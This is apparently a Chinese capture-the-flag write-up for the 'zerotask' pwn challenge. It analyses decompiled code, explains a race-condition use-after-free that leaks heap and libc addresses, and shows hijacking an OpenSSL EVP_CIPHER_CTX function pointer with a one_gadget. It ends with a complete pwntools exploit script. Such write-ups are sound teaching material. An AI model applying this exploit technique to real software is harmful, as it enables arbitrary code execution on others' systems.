zerotask
拿到题目首先运行下,IDA打开分析main函数,可以看到有创建进程和删除进程的操作,一般来说就是条件竞争了,这个题目大概的功能就是创建一个加解密的结构体,然后对文本进行加解密。
nevv@ubuntu:~/Desktop$ checksec task_52f1358baddfd3d4026da4d8c0735e52
[*] '/home/nevv/Desktop/task_52f1358baddfd3d4026da4d8c0735e52'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
main函数
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
unsigned int v4; // [rsp+18h] [rbp-8h]
v4 = 0;
pre_handle();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v3 = get_choice();
if ( v3 != 2 )
break;
delete();
}
if ( v3 == 3 )
break;
if ( v3 != 1 )
{
puts("bye");
exit(1);
}
create();
}
if ( v4 > 2 )
{
puts("bye");
exit(1);
}
action();
++v4;
}
}
create函数
void *sub_1354()
{
void *result; // rax
int en_or_de; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
void *key_struct; // [rsp+8h] [rbp-8h]
printf("Task id : ", 0LL);
v2 = get_choice();
printf("Encrypt(1) / Decrypt(2): ");
en_or_de = get_choice();
if ( en_or_de != 1 && en_or_de != 2 )
return (void *)0xFFFFFFFFLL;
key_struct = malloc(0x70uLL);
memset(key_struct, 0, 0x70uLL);
if ( !(unsigned int)sub_11A8(en_or_de, (__int64)key_struct) )
return (void *)0xFFFFFFFFLL;
*((_DWORD *)key_struct + 24) = v2;
*((_QWORD *)key_struct + 13) = qword_202028;
result = key_struct;
qword_202028 = (__int64)key_struct;
return result;
}
signed __int64 __fastcall sub_11A8(int en_or_de, __int64 key_struct)
{
__int64 v3; // rsi
__int64 v4; // [rsp+0h] [rbp-30h]
__int64 v5; // [rsp+14h] [rbp-1Ch]
printf("Key : ", key_struct);
sub_F82(v4 + 0x14, 32); // key
printf("IV : ", 32LL);
sub_F82(v4 + 0x34, 16); // iv
printf("Data Size : ", 16LL); // data_size
v5 = (unsigned int)get_choice();
if ( (signed int)v5 <= 0 || (signed int)v5 > 4096 )
return 0LL;
*(_QWORD *)(v4 + 8) = (signed int)v5; // v5 store data size --> v4+8
*(_QWORD *)(v4 + 88) = EVP_CIPHER_CTX_new();
if ( en_or_de == 1 )
{
v3 = EVP_aes_256_cbc();
EVP_EncryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52);
}
else
{
if ( en_or_de != 2 )
return 0LL;
v3 = EVP_aes_256_cbc();
EVP_DecryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52);
}
*(_DWORD *)(v4 + 16) = en_or_de;
*(_QWORD *)v4 = malloc(*(_QWORD *)(v4 + 8));
if ( !*(_QWORD *)v4 )
exit(1);
printf("Data : ", v3);
sub_F82(*(_QWORD *)v4, *(_QWORD *)(v4 + 8));
return 1LL;
}
根据以上操作我们可以推断出结构体,限制了data的大小大于0小于4096:
struct key_struct{
+ 0 data;
+ 8 data_size;
+ 13 qword_202028;
+ 16 en_or_de;
+ 20 key;
+ 24 task_id;
+ 52 IV;
+ 88 EVP_CIPHER_CTX_new;
+ 104 next_struct;
}
根据分析,在创建的时候程序总计创建了4个堆块(按照如下的创建顺序):
- key_struct 0x80
- EVP_CIPHER_CTX 0xb0
- EVP_CIPHER_CTX 创建的EVP_RC4_KEY对(256bit)象。0x110
- data_size分配的堆块 小于4096
delete函数
void delete()
{
int v0; // [rsp+Ch] [rbp-14h]
void **ptr; // [rsp+10h] [rbp-10h]
_int64 v2; // [rsp+18h] [rbp-8h]
ptr = (void **)qword_202028;
v2 = qword_202028;
printf("Task id : ");
v0 = get_choice();
if ( qword_202028 && v0 == *(_DWORD *)(qword_202028 + 96) )
{
qword_202028 = *(_QWORD *)(qword_202028 + 104);
EVP_CIPHER_CTX_free(ptr[11]);
free(*ptr);
free(ptr); // 没有置为null,存在明显的uaf漏洞
}
else
{
while ( ptr )
{
if ( v0 == *((_DWORD *)ptr + 24) )
{
*(_QWORD *)(v2 + 104) = ptr[13];
EVP_CIPHER_CTX_free(ptr[11]);
free(*ptr);
free(ptr);
return;
}
v2 = (__int64)ptr;
ptr = (void **)ptr[13];
}
}
}
action函数
unsigned __int64 sub_165A()
{
int v1; // [rsp+4h] [rbp-1Ch]
pthread_t newthread; // [rsp+8h] [rbp-18h]
void *arg; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Task id : ");
v1 = get_choice();
for ( arg = (void *)qword_202028; arg; arg = (void *)*((_QWORD *)arg + 13) )
{
if ( v1 == *((_DWORD *)arg + 24) )
{
pthread_create(&newthread, 0LL, start_routine, arg);
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
void __fastcall __noreturn start_routine(void *a1)
{
int v1; // [rsp+14h] [rbp-2Ch]
__int128 v2; // [rsp+18h] [rbp-28h]
__int64 v3; // [rsp+28h] [rbp-18h]
__int64 v4; // [rsp+30h] [rbp-10h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
v2 = (unsigned __int64)a1;
v1 = 0;
v3 = 0LL;
v4 = 0LL;
puts("Prepare...");
sleep(2u); // --------- 这个slepp()函数的使用可能导致条件竞争漏洞 ----------
memset(qword_202030, 0, 0x1010uLL);
if ( !(unsigned int)EVP_CipherUpdate(
*(_QWORD *)(v2 + 88), //EVP_CIPHER_CTX_new
qword_202030,
&v1,
*(_QWORD *)v2, // data
(unsigned int)*(_QWORD *)(v2 + 8)) ) // data_size
pthread_exit(0LL);
*((_QWORD *)&v2 + 1) += v1;
if ( !(unsigned int)EVP_CipherFinal_ex(*(_QWORD *)(v2 + 88), (char *)qword_202030 + *((_QWORD *)&v2 + 1), &v1) )
pthread_exit(0LL);
*((_QWORD *)&v2 + 1) += v1;
puts("Ciphertext: ");
sub_107B(stdout, qword_202030, *((_QWORD *)&v2 + 1), 16LL, 1LL); // print ciphertext
pthread_exit(0LL);
}
利用思路
0x1 泄漏地址
- 首先比较明确的一点就是要利用 sleep 导致的条件竞争漏洞
- 程序的功能本身是加密、解密、打印,并且密钥是我们可以指定的,那么考虑是不是可以泄漏出某些信息呢?
继续上面思路的思考:
- 首先有删除功能,在我们选择一个特定的加密线程的时候,由于其data域正好是chunk的fd字段,那么在真正的进入加密操作的时候,我们把这个加密的结构体free掉,其fd会正好指向tcache中上一个空闲的堆块,这样加密的时候就会加密上一个空闲堆块的内容,这样的话就可以构造空闲堆块中即有堆地址也有libc基地址,那么这样的话就能够泄露出地址信息。
但是其中也会有一些我们需要解决的问题:
- 在free的时候EVP_CIPHER_CTX也会被free掉,导致加密出错,如果重新创建任务的话会导致想要利用的结构体被重新malloc,这样的话其data也会被新的内存地址覆写,而不是之前我们预期的指向另外一个结构体。
综合以上:
-
我们需要在一次的打印中同时leak出libc和heap,需要构造一个 unsorted bin,另外在释放结构体的时候,必须让其EVP_CIPHER_CTX被重新分配出去新建一个EVP_CIPHER_CTX对象保证加密不出错
-
首先创建4个结构释放,填充tcache
for i in range(0,4): ad(str(i),'1','a'*32,'a'*16,'256','1'*256)
释放后,此时结构为:
tcache: 0x80 *4 0x110 *7 0xb0 4-3-2-1 unsortbin 0x110
这里结合dl的解题脚本看:
go('20') de('20') de('21') de('22')
释放后,此时结构为:
tcache: 0x80 22-21-20-0x80*4 0x110 *7 0xb0 22_21_20-4-3-2-1 unsortbin 0x110
在内存空间上看大概是这个样子的
| 20的上个结构体 | | 20的上个结构体的data (unsorted bin 0x110大小) | 20的结构体 (进入0x80 的tcache后 其data指针域指向上个结构体) | | EVP_CIPHER_CTX | | 21的结构体 | | | | 22的结构体
然后再进行分配:
ad('21','1','a'*32,'a'*16,'160','1'*160) ad('22','1','a'*32,'a'*16,'8','1'*8)
再次添加21的data的时候会把20的EVP_CIPHER_CTX分配出去,然后添加22的时候就会把原本存储20结构体的EVP_CIPHER_CTX域分配给22当作它的EVP_CIPHER_CTX域
0x2 劫持控制流
此时我们已经的到了libc和heap的地址,考虑怎么劫持控制流,现在我们能够:
-
根据条件竞争和UAF漏洞,我们可以伪造chunk进而构造假的EVP_CIPHER_CTX结构体
-
程序的大体流程上基本无法劫持控制流
因此可以具体去看下加解密函数EVP_EncryptUpdate,找一找EVP_CIPHER_CTX中有没有我们感兴趣的函数指针,这样的话直接在函数指针的位置直接写onegadget即可。
Breakpoint * EVP_CipherUpdate pwndbg> x /100i 0x7f1118090690 => 0x7f1118090690 <EVP_CipherUpdate>: mov eax,DWORD PTR [rdi+0x10] 0x7f1118090693 <EVP_CipherUpdate+3>: test eax,eax 0x7f1118090695 <EVP_CipherUpdate+5>: jne 0x7f11180906a0 <EVP_CipherUpdate+16> 0x7f1118090697 <EVP_CipherUpdate+7>: jmp 0x7f11180904e0 <EVP_DecryptUpdate> 0x7f111809069c <EVP_CipherUpdate+12>: nop DWORD PTR [rax+0x0] 0x7f11180906a0 <EVP_CipherUpdate+16>: jmp 0x7f1118090180 <EVP_EncryptUpdate> 0x7f11180906a5: nop 0x7f11180906a6: nop WORD PTR cs:[rax+rax*1+0x0] 0x7f11180906b0 <EVP_DecryptFinal_ex>: push r14 0x7f11180906b2 <EVP_DecryptFinal_ex+2>: push r13 0x7f11180906b4 <EVP_DecryptFinal_ex+4>: mov r13,rsi 0x7f11180906b7 <EVP_DecryptFinal_ex+7>: push r12 0x7f11180906b9 <EVP_DecryptFinal_ex+9>: push rbp 0x7f11180906ba <EVP_DecryptFinal_ex+10>: mov r12,rdx 0x7f11180906bd <EVP_DecryptFinal_ex+13>: push rbx 0x7f11180906be <EVP_DecryptFinal_ex+14>: mov rax,QWORD PTR [rdi] 0x7f11180906c1 <EVP_DecryptFinal_ex+17>: mov rbx,rdi 0x7f11180906c4 <EVP_DecryptFinal_ex+20>: mov DWORD PTR [rdx],0x0 0x7f11180906ca <EVP_DecryptFinal_ex+26>: test BYTE PTR [rax+0x12],0x10 0x7f11180906ce <EVP_DecryptFinal_ex+30>: je 0x7f11180906f8 <EVP_DecryptFinal_ex+72> 0x7f11180906d0 <EVP_DecryptFinal_ex+32>: xor ecx,ecx 0x7f11180906d2 <EVP_DecryptFinal_ex+34>: xor edx,edx 0x7f11180906d4 <EVP_DecryptFinal_ex+36>: xor ebp,ebp 0x7f11180906d6 <EVP_DecryptFinal_ex+38>: call QWORD PTR [rax+0x20] 0x7f11180906d9 <EVP_DecryptFinal_ex+41>: test eax,eax 0x7f11180906db <EVP_DecryptFinal_ex+43>: js 0x7f11180906e6 <EVP_DecryptFinal_ex+54> 0x7f11180906dd <EVP_DecryptFinal_ex+45>: mov DWORD PTR [r12],eax 0x7f11180906e1 <EVP_DecryptFinal_ex+49>: mov ebp,0x1 0x7f11180906e6 <EVP_DecryptFinal_ex+54>: pop rbx 0x7f11180906e7 <EVP_DecryptFinal_ex+55>: mov eax,ebp 0x7f11180906e9 <EVP_DecryptFinal_ex+57>: pop rbp
-
可以看到在对EVP_CipherUpdate函数调用的时候,在
0x7f11180906d6 <EVP_DecryptFinal_ex+38>: call QWORD PTR [rax+0x20]
这条指令,是吧EVP_CIPHER_CTX+0x20这个偏移位置当作函数指针去调用,这里注意还要过掉下边的检查:0x7f11180906ca <EVP_DecryptFinal_ex+26>: test BYTE PTR [rax+0x12],0x10
-
这样我们只需要把这个地址为覆盖为one_gadget即可
-
exp:
附上大佬的exp:
from pwn import *
import time
p=process('./task')
e=ELF('./libc-2.27.so')
#p=remote('111.186.63.201',10001)
p.readuntil('Choice:')
context(log_level='debug')
def ad(a,b,c,d,e,f):
p.writeline('1')
p.readuntil('Task id :')
p.writeline(a)
p.readuntil('Encrypt(1) / Decrypt(2):')
p.writeline(b)
p.readuntil('Key :')
p.write(c)
p.readuntil('IV :')
p.write(d)
p.readuntil('Data Size :')
p.writeline(e)
p.readuntil('Data')
p.write(f)
p.readuntil('Choice:')
def de(a):
p.writeline('2')
p.readuntil('Task id :')
p.writeline(a)
p.readuntil('Choice:')
def go(a):
p.writeline('3')
p.readuntil('Task id :')
p.writeline(a)
p.readuntil('Choice:')
for i in range(0,4):
ad(str(i),'1','a'*32,'a'*16,'256','1'*256)
ad('20','1','a'*32,'a'*16,'592','1'*592)
ad('21','1','a'*32,'a'*16,'8','1'*8)
ad('22','1','a'*32,'a'*16,'8','1'*8)
ad('23','1','a'*32,'a'*16,'8','1'*8)
ad('24','1','a'*32,'a'*16,'8','1'*8)
for i in range(0,4):
de(str(i))
go('20')
de('20')
de('21')
de('22')
ad('21','1','a'*32,'a'*16,'160','1'*160)
ad('22','1','a'*32,'a'*16,'8','1'*8)
p.readuntil('Ciphertext: n')
st=''
for i in range(0,38):
q=0
for ii in range(0,16):
zzz=p.read(3)
zz=chr(int(zzz[0:2],16))
st+=zz
if 'n'in zzz:
q=1
break
if q==0:
p.read(1)
ad('66','2','a'*32,'a'*16,str(len(st)),st)
go('66')
p.readuntil('Ciphertext: n')
z=p.readuntil('20 ')
z=chr(0x20)
for i in range(0,7):
z+=chr(int(p.read(3)[0:2],16))
heap=u64(z)-0x980+0x7b0+0x100-0x850+0x10a0
p.readuntil('11 01 ')
z=p.readuntil('na0 ')
z=chr(0xa0)
for i in range(0,7):
z+=chr(int(p.read(3)[0:2],16))
libc=u64(z)-4111776
one=libc+0x10a38c
success(hex(libc))
success(hex(heap))
gdb.attach(p)
go('22')
de('22')
de('23')
ad('23','1','a'*32,'a'*16,'160',p64(heap)+'1'*120+p64(one)*4)
success(hex(heap))
success(hex(libc))
p.interactive()
最后小结一下,本题的核心思想还是通过条件竞争对UAF漏洞的利用。
网友评论